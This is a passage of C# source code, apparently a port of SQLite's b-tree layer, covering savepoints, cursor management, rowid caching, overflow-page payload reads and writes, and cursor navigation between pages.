rc; BtShared pBt = p.pBt; sqlite3BtreeEnter(p); Debug.Assert(p.inTrans == TRANS_WRITE); Debug.Assert(!pBt.readOnly); Debug.Assert(iStatement > 0); Debug.Assert(iStatement > p.db.nSavepoint); if (NEVER(p.inTrans != TRANS_WRITE || pBt.readOnly)) { rc = SQLITE_INTERNAL; } else { Debug.Assert(pBt.inTransaction == TRANS_WRITE); /* At the pager level, a statement transaction is a savepoint with ** an index greater than all savepoints created explicitly using ** SQL statements. It is illegal to open, release or rollback any ** such savepoints while the statement transaction savepoint is active. */ rc = sqlite3PagerOpenSavepoint(pBt.pPager, iStatement); } sqlite3BtreeLeave(p); return rc; } /* ** The second argument to this function, op, is always SAVEPOINT_ROLLBACK ** or SAVEPOINT_RELEASE. This function either releases or rolls back the ** savepoint identified by parameter iSavepoint, depending on the value ** of op. ** ** Normally, iSavepoint is greater than or equal to zero. However, if op is ** SAVEPOINT_ROLLBACK, then iSavepoint may also be -1. In this case the ** contents of the entire transaction are rolled back. This is different ** from a normal transaction rollback, as no locks are released and the ** transaction remains open. */ static int sqlite3BtreeSavepoint(Btree p, int op, int iSavepoint) { int rc = SQLITE_OK; if (p != null && p.inTrans == TRANS_WRITE) { BtShared pBt = p.pBt; Debug.Assert(op == SAVEPOINT_RELEASE || op == SAVEPOINT_ROLLBACK); Debug.Assert(iSavepoint >= 0 || (iSavepoint == -1 && op == SAVEPOINT_ROLLBACK)); sqlite3BtreeEnter(p); rc = sqlite3PagerSavepoint(pBt.pPager, op, iSavepoint); if (rc == SQLITE_OK) { rc = newDatabase(pBt); } sqlite3BtreeLeave(p); } return rc; } /* ** Create a new cursor for the BTree whose root is on the page ** iTable. If a read-only cursor is requested, it is assumed that ** the caller already has at least a read-only transaction open ** on the database already. If a write-cursor is requested, then ** the caller is assumed to have an open write transaction. ** ** If wrFlag==null, then the cursor can only be used for reading. ** If wrFlag==1, then the cursor can be used for reading or for ** writing if other conditions for writing are also met. These ** are the conditions that must be met in order for writing to ** be allowed: ** ** 1: The cursor must have been opened with wrFlag==1 ** ** 2: Other database connections that share the same pager cache ** but which are not in the READ_UNCOMMITTED state may not have ** cursors open with wrFlag==null on the same table. Otherwise ** the changes made by this write cursor would be visible to ** the read cursors in the other database connection. ** ** 3: The database must be writable (not on read-only media) ** ** 4: There must be an active transaction. ** ** No checking is done to make sure that page iTable really is the ** root page of a b-tree. If it is not, then the cursor acquired ** will not work correctly. ** ** It is assumed that the sqlite3BtreeCursorSize() bytes of memory ** pointed to by pCur have been zeroed by the caller. */ static int btreeCursor( Btree p, /* The btree */ int iTable, /* Root page of table to open */ int wrFlag, /* 1 to write. 0 read-only */ KeyInfo pKeyInfo, /* First arg to comparison function */ BtCursor pCur /* Space for new cursor */ ) { BtShared pBt = p.pBt; /* Shared b-tree handle */ Debug.Assert(sqlite3BtreeHoldsMutex(p)); Debug.Assert(wrFlag == 0 || wrFlag == 1); /* The following Debug.Assert statements verify that if this is a sharable ** b-tree database, the connection is holding the required table locks, ** and that no other connection has any open cursor that conflicts with ** this lock. */ Debug.Assert(hasSharedCacheTableLock(p, (u32)iTable, pKeyInfo != null ? 1 : 0, wrFlag + 1)); Debug.Assert(wrFlag == 0 || !hasReadConflicts(p, (u32)iTable)); /* Assert that the caller has opened the required transaction. */ Debug.Assert(p.inTrans > TRANS_NONE); Debug.Assert(wrFlag == 0 || p.inTrans == TRANS_WRITE); Debug.Assert(pBt.pPage1 != null && pBt.pPage1.aData != null); if (NEVER(wrFlag != 0 && pBt.readOnly)) { return SQLITE_READONLY; } if (iTable == 1 && pagerPagecount(pBt) == 0) { return SQLITE_EMPTY; } /* Now that no other errors can occur, finish filling in the BtCursor ** variables and link the cursor into the BtShared list. */ pCur.pgnoRoot = (Pgno)iTable; pCur.iPage = -1; pCur.pKeyInfo = pKeyInfo; pCur.pBtree = p; pCur.pBt = pBt; pCur.wrFlag = (u8)wrFlag; pCur.pNext = pBt.pCursor; if (pCur.pNext != null) { pCur.pNext.pPrev = pCur; } pBt.pCursor = pCur; pCur.eState = CURSOR_INVALID; pCur.cachedRowid = 0; return SQLITE_OK; } static int sqlite3BtreeCursor( Btree p, /* The btree */ int iTable, /* Root page of table to open */ int wrFlag, /* 1 to write. 0 read-only */ KeyInfo pKeyInfo, /* First arg to xCompare() */ BtCursor pCur /* Write new cursor here */ ) { int rc; sqlite3BtreeEnter(p); rc = btreeCursor(p, iTable, wrFlag, pKeyInfo, pCur); sqlite3BtreeLeave(p); return rc; } /* ** Return the size of a BtCursor object in bytes. ** ** This interfaces is needed so that users of cursors can preallocate ** sufficient storage to hold a cursor. The BtCursor object is opaque ** to users so they cannot do the sizeof() themselves - they must call ** this routine. */ static int sqlite3BtreeCursorSize() { return -1; // Not Used -- sizeof( BtCursor ); } /* ** Set the cached rowid value of every cursor in the same database file ** as pCur and having the same root page number as pCur. The value is ** set to iRowid. ** ** Only positive rowid values are considered valid for this cache. ** The cache is initialized to zero, indicating an invalid cache. ** A btree will work fine with zero or negative rowids. We just cannot ** cache zero or negative rowids, which means tables that use zero or ** negative rowids might run a little slower. But in practice, zero ** or negative rowids are very uncommon so this should not be a problem. */ static void sqlite3BtreeSetCachedRowid(BtCursor pCur, sqlite3_int64 iRowid) { BtCursor p; for (p = pCur.pBt.pCursor; p != null; p = p.pNext) { if (p.pgnoRoot == pCur.pgnoRoot) p.cachedRowid = iRowid; } Debug.Assert(pCur.cachedRowid == iRowid); } /* ** Return the cached rowid for the given cursor. A negative or zero ** return value indicates that the rowid cache is invalid and should be ** ignored. If the rowid cache has never before been set, then a ** zero is returned. */ static sqlite3_int64 sqlite3BtreeGetCachedRowid(BtCursor pCur) { return pCur.cachedRowid; } /* ** Close a cursor. The read lock on the database file is released ** when the last cursor is closed. */ static int sqlite3BtreeCloseCursor(BtCursor pCur) { Btree pBtree = pCur.pBtree; if (pBtree != null) { int i; BtShared pBt = pCur.pBt; sqlite3BtreeEnter(pBtree); sqlite3BtreeClearCursor(pCur); if (pCur.pPrev != null) { pCur.pPrev.pNext = pCur.pNext; } else { pBt.pCursor = pCur.pNext; } if (pCur.pNext != null) { pCur.pNext.pPrev = pCur.pPrev; } for (i = 0; i <= pCur.iPage; i++) { releasePage(pCur.apPage[i]); } unlockBtreeIfUnused(pBt); invalidateOverflowCache(pCur); /* sqlite3_free(ref pCur); */ sqlite3BtreeLeave(pBtree); } return SQLITE_OK; } /* ** Make sure the BtCursor* given in the argument has a valid ** BtCursor.info structure. If it is not already valid, call ** btreeParseCell() to fill it in. ** ** BtCursor.info is a cache of the information in the current cell. ** Using this cache reduces the number of calls to btreeParseCell(). ** ** 2007-06-25: There is a bug in some versions of MSVC that cause the ** compiler to crash when getCellInfo() is implemented as a macro. ** But there is a measureable speed advantage to using the macro on gcc ** (when less compiler optimizations like -Os or -O0 are used and the ** compiler is not doing agressive inlining.) So we use a real function ** for MSVC and a macro for everything else. Ticket #2457. */ #if !NDEBUG static void assertCellInfo(BtCursor pCur) { CellInfo info; int iPage = pCur.iPage; info = new CellInfo();//memset(info, 0, sizeof(info)); btreeParseCell(pCur.apPage[iPage], pCur.aiIdx[iPage], ref info); Debug.Assert(info.Equals(pCur.info));//memcmp(info, pCur.info, sizeof(info))==0 ); } #else // #define assertCellInfo(x) static void assertCellInfo(BtCursor pCur) { } #endif #if _MSC_VER /* Use a real function in MSVC to work around bugs in that compiler. */ static void getCellInfo(BtCursor pCur) { if (pCur.info.nSize == 0) { int iPage = pCur.iPage; btreeParseCell( pCur.apPage[iPage], pCur.aiIdx[iPage], ref pCur.info ); pCur.validNKey = true; } else { assertCellInfo(pCur); } } #else //* if not _MSC_VER */ /* Use a macro in all other compilers so that the function is inlined */ //#define getCellInfo(pCur) \ // if( pCur.info.nSize==null ){ \ // int iPage = pCur.iPage; \ // btreeParseCell(pCur.apPage[iPage],pCur.aiIdx[iPage],&pCur.info); \ // pCur.validNKey = true; \ // }else{ \ // assertCellInfo(pCur); \ // } #endif //* _MSC_VER */ #if !NDEBUG //* The next routine used only within Debug.Assert() statements */ /* ** Return true if the given BtCursor is valid. A valid cursor is one ** that is currently pointing to a row in a (non-empty) table. ** This is a verification routine is used only within Debug.Assert() statements. */ static bool sqlite3BtreeCursorIsValid(BtCursor pCur) { return pCur != null && pCur.eState == CURSOR_VALID; } #else static bool sqlite3BtreeCursorIsValid(BtCursor pCur) { return true; } #endif //* NDEBUG */ /* ** Set pSize to the size of the buffer needed to hold the value of ** the key for the current entry. If the cursor is not pointing ** to a valid entry, pSize is set to 0. ** ** For a table with the INTKEY flag set, this routine returns the key ** itself, not the number of bytes in the key. ** ** The caller must position the cursor prior to invoking this routine. ** ** This routine cannot fail. It always returns SQLITE_OK. */ static int sqlite3BtreeKeySize(BtCursor pCur, ref i64 pSize) { Debug.Assert(cursorHoldsMutex(pCur)); Debug.Assert(pCur.eState == CURSOR_INVALID || pCur.eState == CURSOR_VALID); if (pCur.eState != CURSOR_VALID) { pSize = 0; } else { getCellInfo(pCur); pSize = pCur.info.nKey; } return SQLITE_OK; } /* ** Set pSize to the number of bytes of data in the entry the ** cursor currently points to. ** ** The caller must guarantee that the cursor is pointing to a non-NULL ** valid entry. In other words, the calling procedure must guarantee ** that the cursor has Cursor.eState==CURSOR_VALID. ** ** Failure is not possible. This function always returns SQLITE_OK. ** It might just as well be a procedure (returning void) but we continue ** to return an integer result code for historical reasons. */ static int sqlite3BtreeDataSize(BtCursor pCur, ref u32 pSize) { Debug.Assert(cursorHoldsMutex(pCur)); Debug.Assert(pCur.eState == CURSOR_VALID); getCellInfo(pCur); pSize = pCur.info.nData; return SQLITE_OK; } /* ** Given the page number of an overflow page in the database (parameter ** ovfl), this function finds the page number of the next page in the ** linked list of overflow pages. If possible, it uses the auto-vacuum ** pointer-map data instead of reading the content of page ovfl to do so. ** ** If an error occurs an SQLite error code is returned. Otherwise: ** ** The page number of the next overflow page in the linked list is ** written to pPgnoNext. If page ovfl is the last page in its linked ** list, pPgnoNext is set to zero. ** ** If ppPage is not NULL, and a reference to the MemPage object corresponding ** to page number pOvfl was obtained, then ppPage is set to point to that ** reference. It is the responsibility of the caller to call releasePage() ** on ppPage to free the reference. In no reference was obtained (because ** the pointer-map was used to obtain the value for pPgnoNext), then ** ppPage is set to zero. */ static int getOverflowPage( BtShared pBt, /* The database file */ Pgno ovfl, /* Current overflow page number */ ref MemPage ppPage, /* OUT: MemPage handle (may be NULL) */ ref Pgno pPgnoNext /* OUT: Next overflow page number */ ) { Pgno next = 0; MemPage pPage = null; int rc = SQLITE_OK; Debug.Assert(sqlite3_mutex_held(pBt.mutex)); // Debug.Assert( pPgnoNext); #if !SQLITE_OMIT_AUTOVACUUM /* Try to find the next page in the overflow list using the ** autovacuum pointer-map pages. Guess that the next page in ** the overflow list is page number (ovfl+1). If that guess turns ** out to be wrong, fall back to loading the data of page ** number ovfl to determine the next page number. */ if (pBt.autoVacuum) { Pgno pgno = 0; Pgno iGuess = ovfl + 1; u8 eType = 0; while (PTRMAP_ISPAGE(pBt, iGuess) || iGuess == PENDING_BYTE_PAGE(pBt)) { iGuess++; } if (iGuess <= pagerPagecount(pBt)) { rc = ptrmapGet(pBt, iGuess, ref eType, ref pgno); if (rc == SQLITE_OK && eType == PTRMAP_OVERFLOW2 && pgno == ovfl) { next = iGuess; rc = SQLITE_DONE; } } } #endif Debug.Assert(next == 0 || rc == SQLITE_DONE); if (rc == SQLITE_OK) { rc = btreeGetPage(pBt, ovfl, ref pPage, 0); Debug.Assert(rc == SQLITE_OK || pPage == null); if (rc == SQLITE_OK) { next = sqlite3Get4byte(pPage.aData); } } pPgnoNext = next; if (ppPage != null) { ppPage = pPage; } else { releasePage(pPage); } return (rc == SQLITE_DONE ? SQLITE_OK : rc); } /* ** Copy data from a buffer to a page, or from a page to a buffer. ** ** pPayload is a pointer to data stored on database page pDbPage. ** If argument eOp is false, then nByte bytes of data are copied ** from pPayload to the buffer pointed at by pBuf. If eOp is true, ** then sqlite3PagerWrite() is called on pDbPage and nByte bytes ** of data are copied from the buffer pBuf to pPayload. ** ** SQLITE_OK is returned on success, otherwise an error code. */ static int copyPayload( byte[] pPayload, /* Pointer to page data */ u32 payloadOffset, /* Offset into page data */ byte[] pBuf, /* Pointer to buffer */ u32 pBufOffset, /* Offset into buffer */ u32 nByte, /* Number of bytes to copy */ int eOp, /* 0 . copy from page, 1 . copy to page */ DbPage pDbPage /* Page containing pPayload */ ) { if (eOp != 0) { /* Copy data from buffer to page (a write operation) */ int rc = sqlite3PagerWrite(pDbPage); if (rc != SQLITE_OK) { return rc; } Buffer.BlockCopy(pBuf, (int)pBufOffset, pPayload, (int)payloadOffset, (int)nByte);// memcpy( pPayload, pBuf, nByte ); } else { /* Copy data from page to buffer (a read operation) */ Buffer.BlockCopy(pPayload, (int)payloadOffset, pBuf, (int)pBufOffset, (int)nByte);//memcpy(pBuf, pPayload, nByte); } return SQLITE_OK; } //static int copyPayload( // byte[] pPayload, /* Pointer to page data */ // byte[] pBuf, /* Pointer to buffer */ // int nByte, /* Number of bytes to copy */ // int eOp, /* 0 -> copy from page, 1 -> copy to page */ // DbPage pDbPage /* Page containing pPayload */ //){ // if( eOp!=0 ){ // /* Copy data from buffer to page (a write operation) */ // int rc = sqlite3PagerWrite(pDbPage); // if( rc!=SQLITE_OK ){ // return rc; // } // memcpy(pPayload, pBuf, nByte); // }else{ // /* Copy data from page to buffer (a read operation) */ // memcpy(pBuf, pPayload, nByte); // } // return SQLITE_OK; //} /* ** This function is used to read or overwrite payload information ** for the entry that the pCur cursor is pointing to. If the eOp ** parameter is 0, this is a read operation (data copied into ** buffer pBuf). If it is non-zero, a write (data copied from ** buffer pBuf). ** ** A total of "amt" bytes are read or written beginning at "offset". ** Data is read to or from the buffer pBuf. ** ** The content being read or written might appear on the main page ** or be scattered out on multiple overflow pages. ** ** If the BtCursor.isIncrblobHandle flag is set, and the current ** cursor entry uses one or more overflow pages, this function ** allocates space for and lazily popluates the overflow page-list ** cache array (BtCursor.aOverflow). Subsequent calls use this ** cache to make seeking to the supplied offset more efficient. ** ** Once an overflow page-list cache has been allocated, it may be ** invalidated if some other cursor writes to the same table, or if ** the cursor is moved to a different row. Additionally, in auto-vacuum ** mode, the following events may invalidate an overflow page-list cache. ** ** * An incremental vacuum, ** * A commit in auto_vacuum="full" mode, ** * Creating a table (may require moving an overflow page). */ static int accessPayload( BtCursor pCur, /* Cursor pointing to entry to read from */ u32 offset, /* Begin reading this far into payload */ u32 amt, /* Read this many bytes */ byte[] pBuf, /* Write the bytes into this buffer */ int eOp /* zero to read. non-zero to write. */ ) { u32 pBufOffset = 0; byte[] aPayload; int rc = SQLITE_OK; u32 nKey; int iIdx = 0; MemPage pPage = pCur.apPage[pCur.iPage]; /* Btree page of current entry */ BtShared pBt = pCur.pBt; /* Btree this cursor belongs to */ Debug.Assert(pPage != null); Debug.Assert(pCur.eState == CURSOR_VALID); Debug.Assert(pCur.aiIdx[pCur.iPage] < pPage.nCell); Debug.Assert(cursorHoldsMutex(pCur)); getCellInfo(pCur); aPayload = pCur.info.pCell; //pCur.info.pCell + pCur.info.nHeader; nKey = (u32)(pPage.intKey != 0 ? 0 : (int)pCur.info.nKey); if (NEVER(offset + amt > nKey + pCur.info.nData) || pCur.info.nLocal > pBt.usableSize//&aPayload[pCur.info.nLocal] > &pPage.aData[pBt.usableSize] ) { /* Trying to read or write past the end of the data is an error */ #if SQLITE_DEBUG || DEBUG return SQLITE_CORRUPT_BKPT(); #else return SQLITE_CORRUPT_BKPT; #endif } /* Check if data must be read/written to/from the btree page itself. */ if (offset < pCur.info.nLocal) { int a = (int)amt; if (a + offset > pCur.info.nLocal) { a = (int)(pCur.info.nLocal - offset); } rc = copyPayload(aPayload, (u32)(offset + pCur.info.iCell + pCur.info.nHeader), pBuf, pBufOffset, (u32)a, eOp, pPage.pDbPage); offset = 0; pBufOffset += (u32)a; //pBuf += a; amt -= (u32)a; } else { offset -= pCur.info.nLocal; } if (rc == SQLITE_OK && amt > 0) { u32 ovflSize = (u32)(pBt.usableSize - 4); /* Bytes content per ovfl page */ Pgno nextPage; nextPage = sqlite3Get4byte(aPayload, pCur.info.nLocal + pCur.info.iCell + pCur.info.nHeader); #if !SQLITE_OMIT_INCRBLOB /* If the isIncrblobHandle flag is set and the BtCursor.aOverflow[] ** has not been allocated, allocate it now. The array is sized at ** one entry for each overflow page in the overflow chain. The ** page number of the first overflow page is stored in aOverflow[0], ** etc. A value of 0 in the aOverflow[] array means "not yet known" ** (the cache is lazily populated). */ if( pCur.isIncrblobHandle && !pCur.aOverflow ){ int nOvfl = (pCur.info.nPayload-pCur.info.nLocal+ovflSize-1)/ovflSize; pCur.aOverflow = (Pgno *)sqlite3MallocZero(sizeof(Pgno)*nOvfl); /* nOvfl is always positive. If it were zero, fetchPayload would have ** been used instead of this routine. */ if( ALWAYS(nOvfl) && !pCur.aOverflow ){ rc = SQLITE_NOMEM; } } /* If the overflow page-list cache has been allocated and the ** entry for the first required overflow page is valid, skip ** directly to it. */ if( pCur.aOverflow && pCur.aOverflow[offset/ovflSize] ){ iIdx = (offset/ovflSize); nextPage = pCur.aOverflow[iIdx]; offset = (offset%ovflSize); } #endif for (; rc == SQLITE_OK && amt > 0 && nextPage != 0; iIdx++) { #if !SQLITE_OMIT_INCRBLOB /* If required, populate the overflow page-list cache. */ if( pCur.aOverflow ){ Debug.Assert(!pCur.aOverflow[iIdx] || pCur.aOverflow[iIdx]==nextPage); pCur.aOverflow[iIdx] = nextPage; } #endif MemPage MemPageDummy = null; if (offset >= ovflSize) { /* The only reason to read this page is to obtain the page ** number for the next page in the overflow chain. The page ** data is not required. So first try to lookup the overflow ** page-list cache, if any, then fall back to the getOverflowPage() ** function. */ #if !SQLITE_OMIT_INCRBLOB if( pCur.aOverflow && pCur.aOverflow[iIdx+1] ){ nextPage = pCur.aOverflow[iIdx+1]; } else #endif rc = getOverflowPage(pBt, nextPage, ref MemPageDummy, ref nextPage); offset -= ovflSize; } else { /* Need to read this page properly. It contains some of the ** range of data that is being read (eOp==null) or written (eOp!=null). */ DbPage pDbPage = new PgHdr(); int a = (int)amt; rc = sqlite3PagerGet(pBt.pPager, nextPage, ref pDbPage); if (rc == SQLITE_OK) { aPayload = sqlite3PagerGetData(pDbPage); nextPage = sqlite3Get4byte(aPayload); if (a + offset > ovflSize) { a = (int)(ovflSize - offset); } rc = copyPayload(aPayload, offset + 4, pBuf, pBufOffset, (u32)a, eOp, pDbPage); sqlite3PagerUnref(pDbPage); offset = 0; amt -= (u32)a; pBufOffset += (u32)a;//pBuf += a; } } } } if (rc == SQLITE_OK && amt > 0) { #if SQLITE_DEBUG || DEBUG return SQLITE_CORRUPT_BKPT(); #else return SQLITE_CORRUPT_BKPT; #endif } return rc; } /* ** Read part of the key associated with cursor pCur. Exactly ** "amt" bytes will be transfered into pBuf[]. The transfer ** begins at "offset". ** ** The caller must ensure that pCur is pointing to a valid row ** in the table. ** ** Return SQLITE_OK on success or an error code if anything goes ** wrong. An error is returned if "offset+amt" is larger than ** the available payload. */ static int sqlite3BtreeKey(BtCursor pCur, u32 offset, u32 amt, byte[] pBuf) { Debug.Assert(cursorHoldsMutex(pCur)); Debug.Assert(pCur.eState == CURSOR_VALID); Debug.Assert(pCur.iPage >= 0 && pCur.apPage[pCur.iPage] != null); Debug.Assert(pCur.aiIdx[pCur.iPage] < pCur.apPage[pCur.iPage].nCell); return accessPayload(pCur, offset, amt, pBuf, 0); } /* ** Read part of the data associated with cursor pCur. Exactly ** "amt" bytes will be transfered into pBuf[]. The transfer ** begins at "offset". ** ** Return SQLITE_OK on success or an error code if anything goes ** wrong. An error is returned if "offset+amt" is larger than ** the available payload. */ static int sqlite3BtreeData(BtCursor pCur, u32 offset, u32 amt, byte[] pBuf) { int rc; #if !SQLITE_OMIT_INCRBLOB if ( pCur.eState==CURSOR_INVALID ){ return SQLITE_ABORT; } #endif Debug.Assert(cursorHoldsMutex(pCur)); rc = restoreCursorPosition(pCur); if (rc == SQLITE_OK) { Debug.Assert(pCur.eState == CURSOR_VALID); Debug.Assert(pCur.iPage >= 0 && pCur.apPage[pCur.iPage] != null); Debug.Assert(pCur.aiIdx[pCur.iPage] < pCur.apPage[pCur.iPage].nCell); rc = accessPayload(pCur, offset, amt, pBuf, 0); } return rc; } /* ** Return a pointer to payload information from the entry that the ** pCur cursor is pointing to. The pointer is to the beginning of ** the key if skipKey==null and it points to the beginning of data if ** skipKey==1. The number of bytes of available key/data is written ** into pAmt. If pAmt==null, then the value returned will not be ** a valid pointer. ** ** This routine is an optimization. It is common for the entire key ** and data to fit on the local page and for there to be no overflow ** pages. When that is so, this routine can be used to access the ** key and data without making a copy. If the key and/or data spills ** onto overflow pages, then accessPayload() must be used to reassemble ** the key/data and copy it into a preallocated buffer. ** ** The pointer returned by this routine looks directly into the cached ** page of the database. The data might change or move the next time ** any btree routine is called. */ static byte[] fetchPayload( BtCursor pCur, /* Cursor pointing to entry to read from */ ref int pAmt, /* Write the number of available bytes here */ ref int outOffset, /* Offset into Buffer */ bool skipKey /* read beginning at data if this is true */ ) { byte[] aPayload; MemPage pPage; u32 nKey; u32 nLocal; Debug.Assert(pCur != null && pCur.iPage >= 0 && pCur.apPage[pCur.iPage] != null); Debug.Assert(pCur.eState == CURSOR_VALID); Debug.Assert(cursorHoldsMutex(pCur)); outOffset = -1; pPage = pCur.apPage[pCur.iPage]; Debug.Assert(pCur.aiIdx[pCur.iPage] < pPage.nCell); if (NEVER(pCur.info.nSize == 0)) { btreeParseCell(pCur.apPage[pCur.iPage], pCur.aiIdx[pCur.iPage], ref pCur.info ); } //aPayload = pCur.info.pCell; //aPayload += pCur.info.nHeader; aPayload = new byte[pCur.info.nSize - pCur.info.nHeader]; if (pPage.intKey != 0) { nKey = 0; } else { nKey = (u32)pCur.info.nKey; } if ( skipKey ) { //aPayload += nKey; outOffset = (int)( pCur.info.iCell + pCur.info.nHeader + nKey ); Buffer.BlockCopy( pCur.info.pCell, outOffset, aPayload, 0, (int)( pCur.info.nSize - pCur.info.nHeader - nKey ) ); nLocal = pCur.info.nLocal - nKey; } else { outOffset = (int)( pCur.info.iCell + pCur.info.nHeader ); Buffer.BlockCopy( pCur.info.pCell, outOffset, aPayload, 0, pCur.info.nSize - pCur.info.nHeader ); nLocal = pCur.info.nLocal; Debug.Assert( nLocal <= nKey ); } pAmt = (int)nLocal; return aPayload; } /* ** For the entry that cursor pCur is point to, return as ** many bytes of the key or data as are available on the local ** b-tree page. Write the number of available bytes into pAmt. ** ** The pointer returned is ephemeral. The key/data may move ** or be destroyed on the next call to any Btree routine, ** including calls from other threads against the same cache. ** Hence, a mutex on the BtShared should be held prior to calling ** this routine. ** ** These routines is used to get quick access to key and data ** in the common case where no overflow pages are used. */ static byte[] sqlite3BtreeKeyFetch( BtCursor pCur, ref int pAmt, ref int outOffset ) { byte[] p = null; Debug.Assert( sqlite3_mutex_held( pCur.pBtree.db.mutex ) ); Debug.Assert( cursorHoldsMutex( pCur ) ); if ( ALWAYS( pCur.eState == CURSOR_VALID ) ) { p = fetchPayload( pCur, ref pAmt, ref outOffset, false ); } return p; } static byte[] sqlite3BtreeDataFetch( BtCursor pCur, ref int pAmt, ref int outOffset ) { byte[] p = null; Debug.Assert( sqlite3_mutex_held( pCur.pBtree.db.mutex ) ); Debug.Assert( cursorHoldsMutex( pCur ) ); if ( ALWAYS( pCur.eState == CURSOR_VALID ) ) { p = fetchPayload( pCur, ref pAmt, ref outOffset, true ); } return p; } /* ** Move the cursor down to a new child page. The newPgno argument is the ** page number of the child page to move to. ** ** This function returns SQLITE_CORRUPT if the page-header flags field of ** the new child page does not match the flags field of the parent (i.e. ** if an intkey page appears to be the parent of a non-intkey page, or ** vice-versa). */ static int moveToChild(BtCursor pCur, u32 newPgno) { int rc; int i = pCur.iPage; MemPage pNewPage = new MemPage(); BtShared pBt = pCur.pBt; Debug.Assert(cursorHoldsMutex(pCur)); Debug.Assert(pCur.eState == CURSOR_VALID); Debug.Assert(pCur.iPage < BTCURSOR_MAX_DEPTH); if (pCur.iPage >= (BTCURSOR_MAX_DEPTH - 1)) { #if SQLITE_DEBUG || DEBUG return SQLITE_CORRUPT_BKPT(); #else return SQLITE_CORRUPT_BKPT; #endif } rc = getAndInitPage(pBt, newPgno, ref pNewPage); if (rc != 0) return rc; pCur.apPage[i + 1] = pNewPage; pCur.aiIdx[i + 1] = 0; pCur.iPage++; pCur.info.nSize = 0; pCur.validNKey = false; if (pNewPage.nCell < 1 || pNewPage.intKey != pCur.apPage[i].intKey) { #if SQLITE_DEBUG || DEBUG return SQLITE_CORRUPT_BKPT(); #else return SQLITE_CORRUPT_BKPT; #endif } return SQLITE_OK; } #if !NDEBUG /* ** Page pParent is an internal (non-leaf) tree page. This function ** asserts that page number iChild is the left-child if the iIdx'th ** cell in page pParent. Or, if iIdx is equal to the total number of ** cells in pParent, that page number iChild is the right-child of ** the page. */ static void assertParentIndex(MemPage pParent, int iIdx, Pgno iChild) { Debug.Assert(iIdx <= pParent.nCell); if (iIdx == pParent.nCell) { Debug.Assert(sqlite3Get4byte(pParent.aData, pParent.hdrOffset + 8) == iChild); } else { Debug.Assert(sqlite3Get4byte(pParent.aData, findCell(pParent, iIdx)) == iChild); } } #else //# define assertParentIndex(x,y,z) static void assertParentIndex(MemPage pParent, int iIdx, Pgno iChild) { } #endif /* ** Move the cursor up to the parent page. ** ** pCur.idx is set to the cell index that contains the pointer ** to the page we are coming from. If we are coming from the ** right-most child page then pCur.idx is set to one more than ** the largest cell index. */ static void moveToParent(BtCursor pCur) { Debug.Assert(cursorHoldsMutex(pCur)); Debug.Assert(pCur.eState == CURSOR_VALID); Debug.Assert(pCur.iPage > 0); Debug.Assert(pCur.apPage[pCur.iPage] != null); assertParentIndex( pCur.apPage[pCur.iPage - 1], pCur.aiIdx[pCur.iPage - 1], pCur.apPage[pCur.iPage].pgno ); releasePage(pCur.apPage[pCur.iPage]); pCur.iPage--; pCur.info.nSize = 0; pCur.validNKey = false; } /* ** Move the cursor to point to the root page of its b-tree structure. ** ** If the table has a virtual root page, then the cursor is moved to point ** to the virtual root page instead of the actual root page. A table has a ** virtual root page when the actual root page contains no cells and a ** single child page. This can only happen with the table rooted at page 1. ** ** If the b-tree structure is empty, the cursor state is set to ** CURSOR_INVALID. Otherwise, the cursor is set to point to the first ** cell located on the root (or virtual root) page and the cursor state ** is set to CURSOR_VALID. ** ** If this function returns successfully, it may be assumed that the ** page-header flags indicate that the [virtual] root-page is the expected ** kind of b-tree page (i.e. if when opening the cursor the caller did not ** specify a KeyInfo structure the flags byte is set to 0x05 or 0x0D, ** indicating a table b-tree, or if the caller did specify a KeyInfo ** structure the flags byte is set to 0x02 or 0x0A, indicating an index ** b-tree). */ static int moveToRoot(BtCursor pCur) { MemPage pRoot; int rc = SQLITE_OK; Btree p = pCur.pBtree; BtShared pBt = p.pBt; Debug.Assert(cursorHoldsMutex(pCur)); Debug.Assert(CURSOR_INVALID < CURSOR_REQUIRESEEK); Debug.Assert(CURSOR_VALID < CURSOR_REQUIRESEEK); Debug.Assert(CURSOR_FAULT > CURSOR_REQUIRESEEK); if (pCur.eState >= CURSOR_REQUIRESEEK) { if (pCur.eState == CURSOR_FAULT) { Debug.Assert(pCur.skipNext != SQLITE_OK); return pCur.skipNext; } sqlite3BtreeClearCursor(pCur); } if (pCur.iPage >= 0) { int i; for (i = 1; i <= pCur.iPage; i++) { releasePage(pCur.apPage[i]); } pCur.iPage = 0; } else { rc = getAndInitPage(pBt, pCur.pgnoRoot, ref pCur.apPage[0]); if (rc != SQLITE_OK) { pCur.eState = CURSOR_INVALID; return rc; } pCur.iPage = 0; /* If pCur.pKeyInfo is not NULL, then the caller that opened this cursor ** expected to open it on an index b-tree. Otherwise, if pKeyInfo is ** NULL, the caller expects a table b-tree. If this is not the case, ** return an SQLITE_CORRUPT error. */ Debug.Assert(pCur.apPage[0].intKey == 1 || pCur.apPage[0].intKey == 0); if ((pCur.pKeyInfo == null) != (pCur.apPage[0].intKey != 0)) { #if SQLITE_DEBUG || DEBUG return SQLITE_CORRUPT_BKPT(); #else return SQLITE_CORRUPT_BKPT; #endif } } /* Assert that the root page is of the correct type. This must be the ** case as the call to this function that loaded the root-page (either ** this call or a previous invocation) would have detected corruption ** if the assumption were not true, and it is not possible for the flags ** byte to have been modified while this cursor is holding a reference ** to the page. */ pRoot = pCur.apPage[0]; Debug.Assert(pRoot.pgno == pCur.pgnoRoot); Debug.Assert(pRoot.isInit != 0 && (pCur.pKeyInfo == null) == (pRoot.intKey != 0)); pCur.aiIdx[0] = 0; pCur.info.nSize = 0; pCur.atLast = 0; pCur.validNKey = false; if (pRoot.nCell == 0 && 0 == pRoot.leaf) { Pgno subpage; if (pRoot.pgno != 1) #if SQLITE_DEBUG || DEBUG return SQLITE_CORRUPT_BKPT(); #else return SQLITE_CORRUPT_BKPT; #endif subpage = sqlite3Get4byte(pRoot.aData, pRoot.hdrOffset + 8); pCur.eState = CURSOR_VALID; rc = moveToChild(pCur, subpage); } else { pCur.eState = ((pRoot.nCell > 0) ? CURSOR_VALID : CURSOR_INVALID); } return rc; } /* ** Move the cursor down to the left-most leaf entry beneath the ** entry to which it is currently pointing. ** ** The left-most leaf is the one with the smallest key - the first ** in ascending order. */ static int moveToLeftmost(BtCursor pCur) { Pgno pgno; int rc = SQLITE_OK; MemPage pPage; Debug.Assert(cursorHoldsMutex(pCur)); Debug.Assert(pCur.eState == CURSOR_VALID); while (rc == SQLITE_OK && 0 == (pPage = pCur.apPage[pCur.iPage]).leaf) { Debug.Assert(pCur.aiIdx[pCur.iPage] < pPage.nCell); pgno = 